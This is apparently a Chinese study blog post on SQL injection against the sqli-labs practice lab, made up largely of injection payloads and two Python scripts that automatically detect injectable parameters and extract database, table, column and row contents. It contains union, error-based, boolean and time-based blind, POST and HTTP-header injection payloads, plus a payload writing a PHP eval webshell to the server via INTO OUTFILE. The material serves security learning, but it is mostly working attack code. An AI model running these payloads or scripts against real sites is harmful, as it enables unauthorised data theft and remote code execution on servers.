Python应用04_自动sql注入攻击

目录
information_schema数据库：
注入流程：
1. 字符型：需要闭合
2.数字型：不需要闭合
3.字符型，加括号
4.字符型，加括号，双引号
5.盲注，有报错信息，无数据显示
    5.1单引号
    5.2双引号
    5.3时间盲注
7.写入文件注入 lv7
8.表单类型，POST请求，数字型
9.双引号闭合
10.POST盲注
11.header的User-Agent注入
12.header的Referer注入
自动注入：盲注
自动注入+盲注














注意事项：union联合查询会对查询结果自动去重，若不需要去重，在union后面加上 ‘all’ 即可
ORDER BY 3使用
SELECT table_name FROM information_schema.tables ORDER BY 3

information_schema数据库：

    关键表：
    SCHEMATA表：提供了当前mysql中所有数据库的信息
    TABLES表：提供了当前mysql中所有数据表的信息
    COLUMNS表：提供了当前mysql中所有字段的信息

注入流程：

    1.测试正确的语句
    2.测试闭合语句：
        1'    1"    1')    1")    1'))    1"))    多数情况下测试这4中就差不多了
                sql语句中，单引号可以包含双引号如
'123"被包含"456'
    3.在闭合语句后面编写 and1 或and 0测试后台是否将我们的输入当成语句执行了
    4.如果遇到插入、更新数据库信息的，不能使用select查询，应使用updatexml、extractvalue函数报错来查询

1. 字符型：需要闭合

报错信息：输入?id=3'  -->3'LIMIT 0,1    
playlod:?id=3' and 1=1 %23
?id=-1‘ union select 1,table_name,column_name from information_schema.columns where table_name='users'%23
?id=-1’ union SELECT 1,user(),(concat(database(),'----')%23
?id=-1‘ union SELECT 1,user(),concat(database(),'----',version())#
?id=-1’ union SELECT 1,user(),(concat(database(),'----',version()))%23
?id=-1‘ union SELECT 1,2,updatexml(1,concat(0x7e,version()),0);
?id=-1’ union SELECT 1,2,extractvalue(1, concat(0x7e, VERSION()));
                               
-- updatexml 和extractvalue最多只能返回32个字符，需要使用substr多次获取，再拼接起来
group_concat：将所有结果拼接起来，substr：将结果返回的字符串切割，进获取参数的前几个字节
SELECT updatexml(1, concat(0x7e, substr((SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES), 1, 32)), 1);
SELECT updatexml(1, concat(0x7e, (SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES), 1, 32), 1);

2.数字型：不需要闭合

    报错信息：
    输入 ?id=1
select 字段名，字段名，字段名 from 数据库.表名 where 条件xxx 
?id=-1 union select 1,database(),version() LIMIT 0,2%23
?id=-1 union select 1,table_name,column_name from information_schema.columns where table_name='users'%23
#查询数据库
?id=-1 union select 1,database(),2 %23 -- 数据库结果为：security
#查询表名
?id=-1 union select 1,TABLE_NAME,2 from information_schema.TABLES where TABLE_SCHEMA='security' limit 3,1 -- 1 表名结果为users
#查询列名
?id=-1 union select 1,COLUMN_NAME,2 from information_schema.COLUMNS where TABLE_NAME='users' and TABLE_SCHEMA='security' limit 1,1-- 1 列名结果为username
?id=-1 union select 1,COLUMN_NAME,2 from information_schema.COLUMNS where TABLE_NAME='users' and TABLE_SCHEMA='security' limit 2,1-- 1 列名结果为password
#查询表的内容
?id=-1 union select 1,username,password from security.users limit 1,1	--

3.字符型，加括号

    报错信息：输入?id=1'--> 1'') LIMIT 0,1'   闭合标签：1') or 1=1     
    palyload: ?id=1') and 1=1 %23
?id=1') union select 1,database(),version() LIMIT 1,2 %23

4.字符型，加括号，双引号

    报错信息：输入?id=1" -->1"") LIMIT 0,1   闭合标签：1") or 1=1%23    
    palyload: ?id=1") and 1=1 %23
?id=-1")union select 1,3,2%23

5.盲注，有报错信息，无数据显示

5.1单引号

报错信息：
?id=1                            显示内容：You are in...........    
?id=1'                            '1'' LIMIT 0,1
?id=1’ and 1=1 %23-->没有报错，显示内容：You are in...........  
?id=1’ and 1=2 %23-->没有报错，无任何内容显示  
由以上得知，实际上注入的语句已经查询成功了：查询语句为真的，返回不为空，查询语句为假的，返回为空        
palyload:?id=1’ and length(database()) %23
使用布尔盲注进行注入：
-- 盲注常用函数：
    substr： 查找字符串中的子串		取第1个字符：substr(str,1,1)	取第2个字符：substr(str,2,1)	取第3个字符：substr(str,3,1)
    ascii：   将字符转换为ascii码
    right：   取字符串右边子串
    left：     取字符串左边子串
    length：求字符串长度
    
#查询数据库名称
    # 查询数据库名称的长度    
        -- lenght查询长度，若长度=2为真，就会有返回值，否则就没有返回值，一直重复尝试，直到有返回值的时候，说明真正的长度找到了
        ?id=1’ and length(database())>2 %23
        重复n次，直到返回 "You are in..........."时结束，得到正确结果
    # 查询数据库名称
        ?id=1’ and ascii(substr(database(),1,1))=115  %23--115对应ascii码的s
        ?id=1’ and substr(database(),1,1)<'s'  %23
        重复操作长度次数，得到数据库名称：security
#查询数据表名称
	#查询多少张表，count()将会返回有多少行结果，可以用于盲注判断行数、s
		select count(table_name) from information_schema.tables where table_schema=database();
	#查询当前数据库的所有数据表
    	#查询所有表名的长度(包括group_concat的',')
        ?id=1‘ and length( (select+group_concat(TABLE_NAME)+FROM+information_schema.TABLES+where+table_schema=database()) )+=+29+ --+
    	#查询第一个表
    	1’ and substr((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1),1,1) ='u'%23
        重复操作
        #查询第二个表
        1’ and substr((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit ,1),1,1) ='u'%23
        重复操作
        #查询第三个表
        1’ and substr((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 3,1,1,1) ='u'-- 1
        重复操作，得到第三个表的表名为'uesrs'
        #查询所有表
        Less-1/?id=1’ union select 1,(SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES where table_schema=database()),2  limit 1,1--+
#查询列名称
    select column_name from information_schema.columns where table_schema='security';
	1’ and substr((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 1,1),1,1) ='u'-- 1
    重复操作，得到列名称'username'...
#查询数据
                  
	1’ and substr((select username from security.users limit 1,1),1,1) ='u'%23
    重复操作，最终得到想要的数据

5.2双引号

    错误信息：
     ?id=1                        显示内容：You are in ......
    ?id=1" and 1=0 %23 不显示任何信息
    ?id=1" and 1=1 %23 显示内容：You are in ......            
同上

5.3时间盲注

    if(a,b,c);如果a成立，则执行b，否则返回c    
1‘ and if((length(database())=2),sleep(5),null)#

7.写入文件注入 lv7

错误信息：
?id=1' %23                You have an error in your SQL syntax
?id=1                         You are in.... Use outfile......       ?id=1" %23               You are in.... Use outfile......       
   ?id=1" and 1=1 %23 You are in.... Use outfile......       ?id=1" and 1=0 %23 You are in.... Use outfile......    ?id=1 afkashfklkldjhasld You are in.... Use outfile......
   只会提取id中的有效数字，应该是做了处理。例如：输入1xxx，只会接收1，输入12xxx，只会接收12，输入1"xxcx也是只会接收1。
   继续测试，此时应该考虑加括号
   ?id=1')%23    You have an error in your SQL syntax    ?id=1") %23   You have an error in your SQL syntax    
   ?id=1"))%23   You have an error in your SQL syntax    ?id=1'))%23    You are in.... Use outfile......
    最终成功的测试?id=1'))%23可以闭合语句
    palylode:?id=1')) union select 1,2,3 %23
    通过palyload写入一句话到服务器
通过写入文件的方式传入 webshell ，使用的是 '指令' into outfile '路径'
输入：1'))  union  (select  1,2,'<?php隔@隔e隔val($_P隔O隔S隔T["test"]?>'  into  outfile 'C:/phpStudy/PHPTutorial/WWW/sqli/123.php') -- 1

- 需要服务器开启一个权限 --secure-file-priv，在配置.ini 的 [mysqld] 下添加secure_file_priv =
- 需要知道目标服务器的有效路径，所以通常路径会写较为常见的，通常写入到日志路径 

// 包含的是 php 的脚本，会被作为 php 代码执行
<?php ... ?>

// 表示忽略错误或者警告信息执行后面的指令
@

// 服务器执行后面传入的指令
eval(cmd)

// 服务器接收到的用户输入的 post 参数组成的字典
$_POST

// 用户通过 POST 方式传入的键为 test 的值
$_POST["test"]

// 强制执行用户通过post的方式传入的名为 test 的指令
<?php@eval($_POST["test"]?>

8.表单类型，POST请求，数字型

uname=账号内容		passwd=密码内容
palyload = uname=' union select 1,2,3 %23'&passwd=admin'
palyload = uname=admin&passwd=' union select 1,2,3 %23

9.双引号闭合

    正确的输入：uname=admin&passwd=admin
    测试输入：uname=admin&passwd=admin
    输入：uname=admin"))#&passwd=admin  报错：     )#") and password=("admin") LIMIT 0,1  可以猜测源码： uname=("输入内容") LIMIT 0,1
    palyload：uname=admin") union select 1,2#&passwd=admin 

10.POST盲注

    palyload: uname=admin' and length(version())=6#&passwd=admin
    palyload: uname=admin")and length(version())=6 #&passwd=admin

11.header的User-Agent注入

    当页面有显示：你的当前IP地址为：xxxxx时，说明网站获取了我们的ip地址，存储到了数据库中
    原理：服务能收集请求头部的user-Agent字段信息之后，上传到数据库了，然后再通过数据库信息查询来获取
    palyload：在HackBar插件中，输入正确的账户密码，点击  ADD HEADER  添加user-Agent字段，设置值为：' and updatexml(1,concat(0x7e, version()),1),'','') #

12.header的Referer注入

    原理：服务能收集请求头部的Referer字段信息之后，上传到数据库了，然后再通过数据库信息查询来获取
    palyload:在HackBar插件中，输入正确的账户密码，点击  ADD HEADER  添加Referer字段，设置值为：' and updatexml(1,concat(0x7e, version()),1),'','') #





双注入
    count():分组计数，只有分组查询的时候可以使用
    rand(n)：接收随机数种子，生成浮点数
    floor(rand(0)*2)：向下取整，rand传0，可以固定随机数顺序



edge浏览器

18
useragen的信息添加到了数据库，
    header不能识别%23，使用#
19
cookie数据被添加到了数据库

测试是否安装成功
文件路径下，控制台 python sqlmap.py

自动注入：盲注

from prettytable import PrettyTable
import HackRequests
from bs4 import BeautifulSoup
import re
import time

#1.判断能否注入以及注入类型
Type=0
dic1 = ['?id=1', '?id=1\'+--+', '?id=1\')+--+1', '?id=1\'))+--+', '?id=1"+--+', '?id=1")+--+', '?id=1"))+--+']

dic2 = ['?id=1+', '?id=1\'+', '?id=1\')+', '?id=1\'))+', '?id=1"+',  '?id=1")+', '?id=1"))+']
palyload2 = 'and+1+--+'

dic3 = ['?id=1+', '?id=1\'+', '?id=1\')+', '?id=1\'))+', '?id=1"+',  '?id=1")+', '?id=1"))+']
palyload3='and+0+--+'

# url = 'http://192.168.213.130/sqli-labs/Less-{}/'
# url = input('>>输入url')
headers = {'accept': '', 'accept-encoding': '', 'accept-language': '', 'cache-control': '', 'cookie': '', 'referer': '', 'sec-fetch-dest': '',  'sec-fetch-mode': '', 'sec-fetch-site': '', 'sec-fetch-user': '',
           'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36'}
url = 'http://192.168.213.130/sqli-labs/Less-1/'
# url = input('输入url')
res = HackRequests.http(url, headers=headers)
post = re.findall('.*?form.*?method="post"', res.text())
if post == []:
    for i in range(7):
        url1 = url + dic1[i]
        url2 = url + dic2[i]+palyload2
        url3 = url + dic3[i]+palyload3
        res1 = HackRequests.http(url1, headers=headers)
        res2 = HackRequests.http(url2, headers=headers)
        res3 = HackRequests.http(url3, headers=headers)
        if res2.text() == res1.text() != res3.text():
            Type = i
            break
        if i==6:
            print('')
            table = PrettyTable(['url', '是否可注入', '注入paload', '注入类型', '请求方式'])
            table.add_row([url, '否', '-------', '不能使用联合查询', 'Get'])
            print(table)
else:
    print('')
    print('Post型请使用其他程序')
    exit()
#2.测试联合点
def TestUnion(palyloadType,param,union='',bPrint=True,bPrint2=True):
    str = '236987'
    strUnionLine=''
    NumSum=0
    palyload=''
    'union select 9991236987 limit 0,1--+'
    for i in range(1,10):
        if i ==1:
            strUnionLine+='999{}'.format(i)+str
            palyload = 'union+select+{}+limit+1,1--+'.format(strUnionLine)
        else:
            strUnionLine+=','+'999{}'.format(i)+str
            palyload = 'union+select+{}+limit+1,1--+'.format(strUnionLine)
        palyloadUnion = palyloadType + palyload
        PalyloadUrl = url + palyloadUnion
        resUion = HackRequests.http(PalyloadUrl, headers=headers)
        ShowNums = re.findall('999(.*?)236987',resUion.text())
        if ShowNums!=[]:
            NumSum = i
            if bPrint ==True and bPrint2==True:
                print('')
                table = PrettyTable(['url', '是否可注入', '注入paload','注入类型','请求方式'])
                table.add_row([url, '是', palyloadType+palyload2,'联合查询','Get'])
                print(table)
            break
        if i == 9:
            print('')
            table = PrettyTable(['url','是否可注入','注入paload' ,'注入类型','请求方式'])
            table.add_row([url,'是',palyloadType+palyload2 ,'不能使用联合查询','Get'])
            print(table)
            print('')
            return

    # print(ShowNums)
    ShowNum = int(ShowNums[0])
    #3.构造查询语句
    strUnionLine=''
    for i in range(1, NumSum+1):
        if i == 1:
            strUnionLine += '1'
        elif i == ShowNum:
            strUnionLine +=','+'concat(999,{},236987)'.format(param)
        else:
            strUnionLine += ',' + '1'
    if union=='':
        palyload = 'union+select+{}+limit+1,1--+'.format(strUnionLine)
    else:
        palyload='union+select+{}+'.format(strUnionLine)+union+'+limit+1,1+--+'
    # if strUnionLine =='1,concat(999,group_concat(id),236987),1':
    #     dic=['?id=-1+', '?id=-1\'+', '?id=-1\')+and+', '?id=-1\'))+', '?id=-1"+',  '?id=-1")+', '?id=-1"))+']
    #     global Type
    #     palyloadType=dic[Type]
    palyloadUnion = palyloadType + palyload
    PalyloadUrl = url + palyloadUnion
    resUion = HackRequests.http(PalyloadUrl, headers=headers)
    Context = re.findall('999(.*?)236987', resUion.text())
    str = Context[0]
    list =str.split(',')
    str = re.findall('group_concat\((.*?)\)',param)

    table = PrettyTable([str[0],])
    for l in list:
        table.add_row([l, ])
    if bPrint==True:
        print(table)
    return list
#4.解析页面信息，获取查询结果

def n1():
    # 查询数据库:security
    ShuJuKu = 'group_concat(database()+)'
    TestUnion(dic2[Type], ShuJuKu)

def n2():
    # 查询数据库版本:5.5.53
    BanBen = 'group_concat(version())'
    TestUnion(dic2[Type], BanBen)

def n3():
    # 查询所有表格:
    BiaoGe = 'group_concat(table_name)'
    union = 'FROM+information_schema.tables+WHERE+table_schema+=database()'
    # ['emails,referers,uagents,users']
    TestUnion(dic2[Type], BiaoGe,union)

def n4(name='',bPrint=True,bPrint2=True):
    # 查询所有列
    Lie = 'group_concat(column_name)'
    if name=='':
        name = input('''
        请输入需要查询的表名
        ''')
    union = 'FROM+information_schema.columns+WHERE+table_schema+=database()+and+table_name=\'{}\''.format(name)  # emails表：['id,email_id']
    return TestUnion(dic2[Type], Lie, union,bPrint,bPrint2)

def n5():
    # 查询列的内容
    str1 = input('''
    请输入需要查询的表名
    ''')
    str2 = input('''
    请输入需要查询的列名
    ''')
    NeiRong = 'group_concat({})'.format(str2)
    union = 'FROM+{}+'.format(str1)
    TestUnion(dic2[Type], NeiRong, union)


while True:
    num = int(input('''
    请输入
        1：查询数据库
        2：查询数据库版本
        3：查询表格
        4：查询列名
        5：查询内容
        6:查询指定表格所有内容
    '''))
    if num==1:
        n1()
    elif num==2:
        n2()
    elif num==3:
        n3()
    elif num==4:
        n4()
    elif num==5:
        n5()
    elif num == 6:
        # 查询所有列的内容
        name = input('''
         请输入需要查询的表名
         ''')
        list =n4(name,False)
        for l in list:
            union = 'FROM+{}+'.format(name)
            NeiRong = 'group_concat({})'.format(l)
            TestUnion(dic2[Type], NeiRong, union,bPrint2=False)

自动注入+盲注

from prettytable import PrettyTable
import HackRequests
from bs4 import BeautifulSoup
import re
import time

#1.判断能否注入以及注入类型
Type=0
dic1 = ['?id=1', '?id=1\'+--+', '?id=1\')+--+1', '?id=1\'))+--+', '?id=1"+--+', '?id=1")+--+', '?id=1"))+--+']

dic2 = ['?id=1+', '?id=1\'+', '?id=1\')+', '?id=1\'))+', '?id=1"+',  '?id=1")+', '?id=1"))+']
palyload2 = 'and+1+--+'

dic3 = ['?id=1+', '?id=1\'+', '?id=1\')+', '?id=1\'))+', '?id=1"+',  '?id=1")+', '?id=1"))+']
palyload3='and+0+--+'

# url = 'http://192.168.213.130/sqli-labs/Less-{}/'
# url = input('>>输入url')
headers = {'accept': '', 'accept-encoding': '', 'accept-language': '', 'cache-control': '', 'cookie': '', 'referer': '', 'sec-fetch-dest': '',  'sec-fetch-mode': '', 'sec-fetch-site': '', 'sec-fetch-user': '',
           'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36'}
url = 'http://192.168.213.130/sqli-labs/Less-1/'
# url = input('输入url')
def statr():
    global Type
    res = HackRequests.http(url, headers=headers)
    post = re.findall('.*?form.*?method="post"', res.text())
    if post == []:
        for i in range(7):
            url1 = url + dic1[i]
            url2 = url + dic2[i]+palyload2
            url3 = url + dic3[i]+palyload3
            res1 = HackRequests.http(url1, headers=headers)
            res2 = HackRequests.http(url2, headers=headers)
            res3 = HackRequests.http(url3, headers=headers)
            if res2.text() == res1.text() != res3.text():
                Type = i
                break
            if i==6:
                print('')
                table = PrettyTable(['url', '是否可注入', '注入paload', '注入类型', '请求方式'])
                table.add_row([url, '否', '-------', '不能使用联合查询', 'Get'])
                print(table)
    else:
        print('')
        print('Post型请使用其他程序')
        exit()

#2.测试联合点
def TestUnion(palyloadType,param,union='',bPrint=True,bPrint2=True):
    global Type
    str = '236987'
    strUnionLine=''
    NumSum=0
    palyload=''
    'union select 9991236987 limit 0,1--+'
    for i in range(1,10):
        if i ==1:
            strUnionLine+='999{}'.format(i)+str
            palyload = 'union+select+{}+limit+1,1--+'.format(strUnionLine)
        else:
            strUnionLine+=','+'999{}'.format(i)+str
            palyload = 'union+select+{}+limit+1,1--+'.format(strUnionLine)
        palyloadUnion = palyloadType + palyload
        PalyloadUrl = url + palyloadUnion
        resUion = HackRequests.http(PalyloadUrl, headers=headers)
        ShowNums = re.findall('999(.*?)236987',resUion.text())
        if ShowNums!=[]:
            NumSum = i
            if bPrint ==True and bPrint2==True:
                print('')
                table = PrettyTable(['url', '是否可注入', '注入paload','注入类型','请求方式'])
                table.add_row([url, '是', palyloadType+palyload2,'联合查询','Get'])
                print(table)
            break
        if i == 9:
            print('')
            table = PrettyTable(['url','是否可注入','注入paload' ,'注入类型','请求方式'])
            table.add_row([url,'是',palyloadType+palyload2 ,'不能使用联合查询','Get'])
            print(table)
            print('')
            return

    # print(ShowNums)
    ShowNum = int(ShowNums[0])
    #3.构造查询语句
    strUnionLine=''
    for i in range(1, NumSum+1):
        if i == 1:
            strUnionLine += '1'
        elif i == ShowNum:
            strUnionLine +=','+'concat(999,{},236987)'.format(param)
        else:
            strUnionLine += ',' + '1'
    if union=='':
        palyload = 'union+select+{}+limit+1,1--+'.format(strUnionLine)
    else:
        palyload='union+select+{}+'.format(strUnionLine)+union+'+limit+1,1+--+'
    # if strUnionLine =='1,concat(999,group_concat(id),236987),1':
    #     dic=['?id=-1+', '?id=-1\'+', '?id=-1\')+and+', '?id=-1\'))+', '?id=-1"+',  '?id=-1")+', '?id=-1"))+']
    #     global Type
    #     palyloadType=dic[Type]
    palyloadUnion = palyloadType + palyload
    PalyloadUrl = url + palyloadUnion
    resUion = HackRequests.http(PalyloadUrl, headers=headers)
    Context = re.findall('999(.*?)236987', resUion.text())
    str = Context[0]
    list =str.split(',')
    str = re.findall('group_concat\((.*?)\)',param)

    table = PrettyTable([str[0],])
    for l in list:
        table.add_row([l, ])
    if bPrint==True:
        print(table)
    return list
#4.解析页面信息，获取查询结果

def n1():
    global Type
    # 查询数据库:security
    ShuJuKu = 'group_concat(database()+)'
    TestUnion(dic2[Type], ShuJuKu)

def n2():
    global Type
    # 查询数据库版本:5.5.53
    BanBen = 'group_concat(version())'
    TestUnion(dic2[Type], BanBen)

def n3():
    global Type
    # 查询所有表格:
    BiaoGe = 'group_concat(table_name)'
    union = 'FROM+information_schema.tables+WHERE+table_schema+=database()'
    # ['emails,referers,uagents,users']
    TestUnion(dic2[Type], BiaoGe,union)

def n4(name='',bPrint=True,bPrint2=True):
    global Type
    # 查询所有列
    Lie = 'group_concat(column_name)'
    if name=='':
        name = input('''
        请输入需要查询的表名
        ''')
    union = 'FROM+information_schema.columns+WHERE+table_schema+=database()+and+table_name=\'{}\''.format(name)  # emails表：['id,email_id']
    return TestUnion(dic2[Type], Lie, union,bPrint,bPrint2)

def n5():
    global Type
    # 查询列的内容
    str1 = input('''
    请输入需要查询的表名
    ''')
    str2 = input('''
    请输入需要查询的列名
    ''')
    NeiRong = 'group_concat({})'.format(str2)
    union = 'FROM+{}+'.format(str1)
    TestUnion(dic2[Type], NeiRong, union)

def union():
    while True:
        num = int(input('''
    请输入
        1：查询数据库
        2：查询数据库版本
        3：查询表格
        4：查询列名
        5：查询内容
        6:查询指定表格所有内容
    '''))
        if num == 1:
            n1()
        elif num == 2:
            n2()
        elif num == 3:
            n3()
        elif num == 4:
            n4()
        elif num == 5:
            n5()
        elif num == 6:
            # 查询所有列的内容
            name = input('''
             请输入需要查询的表名
             ''')
            list = n4(name, False)
            for l in list:
                union = 'FROM+{}+'.format(name)
                NeiRong = 'group_concat({})'.format(l)
                TestUnion(dic2[Type], NeiRong, union, bPrint2=False)


#盲注-----------------------------------------------------------------------------------------------
def printtitle(palyload):
    print('')
    table = PrettyTable(['url', '是否可注入', '注入paload', '注入类型', '请求方式'],)
    table.add_row([url, '是', palyload, '布尔盲注', 'Get'])
    print(table)


def GetSchemaLen(palyload0, PalyloadType):
    global SchenaName, SchemaLen, dic2, url
    url0 = url + palyload0
    resLen0 = HackRequests.http(url0, headers=headers)
    for i in range(20):
        LenghtUrl = url + PalyloadType + '+and+length(database())+=+{}+--+'.format(i)
        time.sleep(0.3)
        resLen1 = HackRequests.http(LenghtUrl, headers=headers)
        if resLen0.text() == resLen1.text():
            SchemaLen = i
            break
    # print('数据库名称长度：{}'.format(SchemaLen))


def GetSchenaName(palyload0, palyloadType):
    global SchenaName, SchemaLen, dic2, url,Type

    str = 'security_.abcdefghijklmnopqrstuvwxyz1234567890+@'
    i=0;
    p=0
    for i in range(1, SchemaLen + 1):
        for s in str:
            p=p + 1;
            palyloadNameNew = palyloadType + 'and+substr(database(),{},1)=\'{}\'--+'.format(i, s)
            if p==1:
                printtitle(palyloadNameNew)
            # print(palyloadNameNew)
            url0 = url + palyload0
            resLen0 = HackRequests.http(url0, headers=headers)
            NameUrl = url + palyloadNameNew
            time.sleep(0.3)
            resName1 = HackRequests.http(NameUrl, headers=headers)
            if resLen0.text() == resName1.text():
                SchenaName = SchenaName + s
                print(s, end='')
                break

    print('')
    table = PrettyTable(['数据库：'])
    table.add_row([SchenaName])
    print(table)
    return SchenaName


def GetTableName(palyload0, palyloadType, SchenaName='database()'):
    global  SchemaLen, dic2, url
    allLen = 0
    for i in range(1, 10000):
        palyload = palyloadType + 'and+length((select+group_concat(TABLE_NAME)+FROM+information_schema.TABLES+where+table_schema=' + SchenaName + '))+=+{}+--+'.format(
            i)
        url0 = url + palyload0
        resLen0 = HackRequests.http(url0, headers=headers)
        NameUrl = url + palyload
        time.sleep(0.3)
        resName1 = HackRequests.http(NameUrl, headers=headers)

        if resLen0.text() == resName1.text():
            allLen = i
            break
    # 求名称
    str = 'emails,rfugntbcdhjkopqvwxyz_123456789@!+'
    strName = ''
    n = 1
    p=0
    # print('{}数据库的所有数据库表名:'.format(SchenaName))
    for i in range(1, allLen + 1):
        for s in str:
            p = p + 1
            palyload = palyloadType + 'and+substr((select+group_concat(TABLE_NAME)+FROM+information_schema.TABLES+where+table_schema=database()),{},1)=\'{}\'--+'.format(n, s)
            if p==1:
                printtitle(palyload)
            url0 = url + palyload0
            resLen0 = HackRequests.http(url0, headers=headers)
            NameUrl = url + palyload
            time.sleep(0.3)
            resName1 = HackRequests.http(NameUrl, headers=headers)
            # if resLen0.text() == resName1.text():
            if resLen0.text() == resName1.text():
                strName = strName + s
                n = n + 1
                print(s, end='')
                # if s == ',':
                #     print('')
                break
    list = strName.split(',')
    print('')
    table = PrettyTable([SchenaName])
    list = strName.split(',')
    for str in list:
        table.add_row([str])
    print(table)
    return list


def GetColumns(palyload0, palyloadType,table_name,SchenaName='database()'):
    global  SchemaLen, dic2, url
    # 查询有多少个字段
    allLen = 0
    for i in range(1, 10000):
        palyload = palyloadType + 'and+((+select+count(column_name)+from+information_schema.columns+where+table_schema={}+and+table_name={}))={}+--+'.format(SchenaName,table_name,i)

        url0 = url + palyload0
        resLen0 = HackRequests.http(url0, headers=headers)
        NameUrl = url + palyload
        resName1 = HackRequests.http(NameUrl, headers=headers)
        if resLen0.text() == resName1.text():
            allLen = i
            break
    # print('总共有{}列字段'.format(allLen))
    # #求名称
    str = 'idemals,rfugntbchjkopqvwxyz_.'
    strName = ''
    p = 0
    for i in range(allLen + 1):
        n = 0
        n1 = 0
        while True:
            if i == allLen:
                break
            s = str[n1]
            n1 = n1 + 1
            palyload = palyloadType + 'and+substr((concat((select+column_name+from+information_schema.columns+where+table_schema={}+and+table_name={}+limit+{},1),\',\')+),{},1)=\'{}\'--+'.format(SchenaName,table_name,i, n+1, s)

            p = p + 1
            if p == 1:
                printtitle(palyload)

            url0 = url + palyload0
            time.sleep(0.1)
            resLen0 = HackRequests.http(url0, headers=headers)
            NameUrl = url + palyload
            resName1 = HackRequests.http(NameUrl, headers=headers)
            if resLen0.text() == resName1.text():
                strName = strName + s
                print(s,end='')
                n = n + 1
                n1 = 0
                if s == ',':
                    break
    # print('列名:', strName)
    print('')
    table = PrettyTable(['column_name'])
    list = strName.split(',')
    for str in list:
        table.add_row([str])
    print(table)


def GetContext(palyload0, palyloadType, ku, biao, lie):
    global SchenaName, SchemaLen, dic2, url
    # 查询有多少行
    allLen = 0
    for i in range(1, 10000):
        palyload = palyloadType + 'and+((+select+count(email_id)+from+' + ku + '.' + biao + '))={}+--+'.format(i)
        # palyload = palyloadType + 'and+((+select+count(email_id)+from+security.emails))={}+--+'.format(i)
        url0 = url + palyload0
        resLen0 = HackRequests.http(url0, headers=headers)
        NameUrl = url + palyload
        resName1 = HackRequests.http(NameUrl, headers=headers)
        if resLen0.text() == resName1.text():
            allLen = i
            break
    print(ku + '数据库{}表{}字段总共有{}行内容'.format(biao, lie, allLen))
    # #求名称
    str = 'hakndumb@coi.lvesup+,rfgtbjqwxyz_1234567890hakndumb@coi.lvesup+,rfgtbjqwxyz_1234567890'
    strName = ''
    '''
     Dummy@dhakkan.local     Angel@iloveu.com     secure@dhakkan.local     stupid@dhakkan.local     superman@dhakkan.local     batman@dhakkan.local     admin@dhakkan.com
    '''
    print('{}:'.format(lie))
    # 一共有allLen列数据，循环allLen次，allLen+1次时，break
    p=0
    for i in range(allLen + 1):
        n = 1
        n1 = 0
        while True:
            p = p + 1
            if i == allLen:
                break
            s = str[n1]
            n1 = n1 + 1
            palyload = palyloadType + 'and+substr((concat((select+' + lie + '+from+' + ku + '.' + biao + '+limit+{},1),\',\')),{},1)=\'{}\'--+'.format(i, n, s)
            if p==1:
                printtitle(palyload)
            # palyload = palyloadType + 'and+substr(     (      concat(         (select+'+lie+'+from+'+ku+'.'+biao+'+limit+{},1),   \',\')        )      ,{},1)=\'{}\'--+'.format( i, n, s)
            url0 = url + palyload0
            resLen0 = HackRequests.http(url0, headers=headers)
            NameUrl = url + palyload
            resName1 = HackRequests.http(NameUrl, headers=headers)
            if resLen0.text() == resName1.text():
                strName = strName + s
                print(s, end='')
                n = n + 1
                n1 = 0
                time.sleep(0.3)
                if s == ',':
                    break
    print('')
    table = PrettyTable([lie])
    list = strName.split(',')
    for str in list:
        table.add_row([str])
    print(table)
    return strName


SchemaLen = 0
SchenaName = ''


def Get():
    global SchenaName,SchemaLen,dic2,url,Type,palyload2
    statr()
    palyload0 = dic2
    palyloadType = ['?id=1', '?id=1\'', '?id=1\')', '?id=1\'))', '?id=1"', '?id=1")+', '?id=1"))']

    # # 1.查询数据库名称：security
    # GetSchemaLen(palyload0=palyload0[Type]+palyload2, PalyloadType=palyloadType[Type])
    # SchenaName = GetSchenaName(palyload0=palyload0[Type]+palyload2, palyloadType=palyloadType[Type])

    # 查询数据表
    # 1.查询长度并查询一共有多少张表
    # SchenaName=input('输入数据库名字')
    # tablelist = GetTableName(palyload0=palyload0[Type]+palyload2,palyloadType=palyloadType[Type],SchenaName=SchenaName)
    # list = ['emails', 'referers', 'uagents', 'users']

    # 查询字段
    # table_name = '\''+input('输入表名')+'\''
    # GetColumns(palyload0=palyload0[Type]+palyload2,palyloadType=palyloadType[Type],SchenaName='database()',table_name='\'emails\'')
    # ' id,email_id,id,referer,ip_address,id,uagent,ip_address,username,id,username,password,'

    # 查询列内容
    # ku = '\''+input('输入库名')+'\''
    # biao = '\''+input('输入表名')+'\''
    # lie = '\''+input('输入列名')+'\''
    # name = GetContext(palyload0=palyload0[Type]+palyload2,palyloadType=palyloadType[Type],ku='security',biao='emails',lie='email_id')


# statr()
Get()


posted @ 2021-01-01 09:36  三一米田  阅读(278)  评论(0)    收藏  举报